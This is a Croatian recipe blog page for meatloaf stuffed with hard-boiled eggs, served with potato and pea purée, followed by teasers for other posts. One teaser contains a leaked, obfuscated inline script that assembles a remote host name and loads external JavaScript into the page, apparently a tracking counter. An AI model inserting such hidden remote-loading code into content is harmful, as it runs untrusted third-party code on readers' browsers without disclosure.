MESNA ŠTRUCA PUNJENA JAJIMA UZ PIRE OD KRUMPIRA I GRAŠKA 🥔




Mesna štruca punjena jajima uz pire od krumpira i graška 



Možda na prvi pogled izgleda kao zahtjevno jelo, ali ova mesna štruca s jajima zapravo je vrlo jednostavna za pripremu i uvijek ispadne sočna i ukusna. Savršeno se uklapa u svečani blagdanski stol, a posebno za Uskrs kada su jaja nezaobilazan dio tradicionalnih recepata. Ova kombinacija mekanog mesa i kuhanih jaja u sredini ne samo da izgleda atraktivno prilikom rezanja, već i oduševljava bogatim okusima. Idealno je jelo za obiteljski ručak koje će svi rado pojesti, a uz prilog po izboru postat će pravi hit na blagdanskom stolu.




Mesna štruca punjena jajima uz pire od krumpira i graška 


Sastojci:

  • 700 g mljevenog mesa (ja sam upotrebljavala pola junetine, pola svinjetine)

  • 1 glavica luka

  • 2 režnja češnjaka

  • 20 g pancete

  • peršin

  • krušne mrvice

  • 5 jaja

  • 5 većih krumpira

  • 2 šake graška (možete upotrebljavati smrznuti, a u sezoni svježi)

  • sol

  • papar

  • suncokretovo ulje

  • maslinovo ulje




Priprema:


1. Luk, češnjak, peršin i pancetu sitno narežite. Ja sam ih sve zajedno usitnila u blenderu. Stavite ih dinstati na maslinovo ulje - samo da zamirišu. Pazite da vam ne zagori. Neka vam se smjesa malo ohladi prije dodavanja mljevenom mesu. Ne mora u potpunosti.

2. U posudu stavite mljeveno meso, posolite i popaprite. Dodajte mljevenu crvenu papriku, jaje i smjesu od luka, češnjaka, peršina i pancete. Dodajte malo ulja i krušne mrvice - koliko je potrebno da se smjesa poveže.

3. Dobro promiješajte sve sastojke - najbolje rukama - i ostavite malo smjesu da odstoji.

4. Skuhajte na tvrdo četiri jaja. Jaja stavite u hladnu vodu i kada voda prokuha, kuhajte još deset minuta. Tako ćete znati da su jaja dobro skuhana.

5. Na papiru za pečenje stavite pola smjese mljevenog mesa i rukama razvaljajte na debljinu od otprilike 1 cm. Po sredini stavite kuhana i oguljena jaja, a na jaja ostatak smjese. Možete se poslužiti papirom za pečenje pri formiranju štruce tako da zamotate kao bombon i formirate štrucu.

6. Mesnu štrucu stavite peći na 190 stupnjeva otprilike 60-70 minuta. Možete ju peći na papiru za pečenje ili na plehu koji ste dobro nauljili.

7. Mesnu štrucu poslužite uz pire od krumpira i graška. Krumpir skuhajte kao za klasičan pire. Pred kraj kuhanja krumpira dodajte grašak. Procijedite povrće, posolite i popaprite te napravite pire. Uživajte!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više